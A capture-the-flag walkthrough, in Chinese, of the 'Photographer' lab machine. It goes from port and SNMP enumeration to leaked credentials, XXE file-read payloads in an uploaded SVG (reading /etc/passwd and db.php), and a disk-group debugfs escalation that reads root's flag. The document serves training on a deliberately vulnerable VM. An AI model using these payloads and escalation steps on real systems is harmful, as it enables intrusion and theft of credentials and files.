Photographer

https://labs.thehackerslabs.com/machine/142

Recon

PortScan

➜  Photographer nmap -sT -min-rate 10000 -p- 192.168.56.134 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-31 15:43 CST
Nmap scan report for 192.168.56.134
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:74:40:65 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 17.87 seconds

➜  Photographer nmap -sT -A -p 22,80 192.168.56.134             
Nmap scan report for 192.168.56.134
Host is up (0.00040s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_  256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open  http    Apache httpd 2.4.65 ((Debian))
|_http-title: Ethan | Blog
|_http-server-header: Apache/2.4.65 (Debian)
MAC Address: 08:00:27:74:40:65 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.40 ms 192.168.56.134

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.95 seconds

枚举

主页是静态网页，但得到一个用户名 Ethan

目录扫描

➜  Photographer gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip -u http://192.168.56.134/admin
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.134/admin
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 279]
/img                  (Status: 301) [Size: 320] [--> http://192.168.56.134/admin/img/]
/admin.php            (Status: 302) [Size: 1076] [--> index.php]
/index.php            (Status: 200) [Size: 943]
/upload.php           (Status: 500) [Size: 0]
/db.php               (Status: 200) [Size: 0]
/logout.php           (Status: 302) [Size: 0] [--> index.php]

admin 中有登录框

这里扫描了端口，测试了很多漏洞

然后因为名字是摄影师还把图片隐写都过了一遍，真是没招了…

后面扫描了一次 UDP 端口好像有东西

➜  Photographer nmap -sU -min-rate 10000 -p- 192.168.56.134
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-31 19:14 CST
Warning: 192.168.56.134 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.56.134
Host is up (0.00095s latency).
Not shown: 65456 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
PORT    STATE SERVICE
161/udp open  snmp
MAC Address: 08:00:27:74:40:65 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 85.96 seconds

尝试对 161 端口进行交互

➜  Photographer snmp-check 192.168.56.134          
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)

[+] Try to connect to 192.168.56.134:161 using SNMPv1 and community 'public'

[*] System information:

  Host IP address               : 192.168.56.134
  Hostname                      : photographer
  Description                   : Linux photographer 6.1.0-40-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.153-1 (2025-09-20) x86_64
  Contact                       : Me <me@example.org>
  Location                      : Sitting on the Dock of the Bay
  Uptime snmp                   : 02:27:50.17
  Uptime system                 : 02:27:43.48
  System date                   : 2025-10-31 12:18:50.0

拿到一串字符：Sitting on the Dock of the Bay

但是没搞懂要做什么，最后多尝试一些 Community String

输入 security 可以拿到很多的信息

➜  Photographer snmpwalk -v2c -c security 192.168.56.134 > res.txt
➜  Photographer wc -l res.txt                              
3609 res.txt

但是还是没有发现什么有趣的东西，直接遍历所有 OID

snmpwalk -v2c -c security 192.168.56.134 .

尝试从中找出有用的信息

能找到 ethan 的凭据

	➜  Photographer snmpwalk -v2c -c security 192.168.56.134 . | grep ethan
iso.3.6.1.4.1.8072.1.3.2.2.1.3.7.109.121.99.114.101.100.115 = STRING: "/home/ethan/creds.txt"
iso.3.6.1.4.1.8072.1.3.2.3.1.1.7.109.121.99.114.101.100.115 = STRING: "ethan:1N3qVgwNB6cZmNSyr8iX$!"
iso.3.6.1.4.1.8072.1.3.2.3.1.2.7.109.121.99.114.101.100.115 = STRING: "ethan:1N3qVgwNB6cZmNSyr8iX$!"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.7.109.121.99.114.101.100.115.1 = STRING: "ethan:1N3qVgwNB6cZmNSyr8iX$!"

ethan:1N3qVgwNB6cZmNSyr8iX$!

文件上传

测试之后，该凭据只能用于登录 WEB

进去后有一个上传图片的功能

这里尝试了很多绕过方式，但是都不管用

最后测试得到可以上传 svg 后缀的文件，可以尝试配合 XXE 来打任意文件读取

https://xz.aliyun.com/news/16463

测试后得到如下 payload 可以进行任意文件读取

<?xml version="1.0" standalone="no"?><!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><svg>&test;</svg>

直接读 db.php ，这里要将文件进行 base64 编码

<?xml version="1.0" standalone="no"?><!DOCTYPE svg [<!ENTITY test SYSTEM 'php://filter/read=convert.base64-encode/resource=db.php'>]><svg>&test;</svg>

<?php
$host = "localhost";
$db = "blog";
$user = "root";
$pass = "pjtF0533OPiSMQTGZacZY6jy$";

$conn = new mysqli($host, $user, $pass, $db);
if ($conn->connect_error) {
    die("Conexión fallida: " . $conn->connect_error);
}

拿到数据库账号密码 root:pjtF0533OPiSMQTGZacZY6jy$

密码碰撞，该密码是用户 ethan 的密码

提权

错误的尝试

本来想到一个直接读 root.txt 的方法的，如下

// 靶机
ethan@photographer:~$ rm creds.txt 
rm: ¿borrar el fichero regular 'creds.txt'  protegido contra escritura? (s/n) s

ethan@photographer:~$ ln -s /root/root.txt creds.txt

// Kali
➜  Photographer snmpwalk -v2c -c security 192.168.56.134 . | grep 'iso.3.6.1.4.1.8072.1.3.2.3.1.1.7.109.121.99.114.101.100.115'
iso.3.6.1.4.1.8072.1.3.2.3.1.1.7.109.121.99.114.101.100.115 = STRING: "/bin/cat: /home/ethan/creds.txt: Permiso denegado"

disk group

随后一看 id 信息，天塌了，直接就是 disk 组权限了

ethan@photographer:~$ id
uid=1001(ethan) gid=1001(ethan) grupos=1001(ethan),6(disk)

https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html#disk-group

ethan@photographer:~$ /sbin/debugfs /dev/sda1
debugfs 1.47.0 (5-Feb-2023)
debugfs:  mkdir test
mkdir: Filesystem opened read/only
debugfs:  cat /root/root.txt
dcxxxxxxxxxxxxxxxxxxxxxxxf

TheHackersLabs - Photographer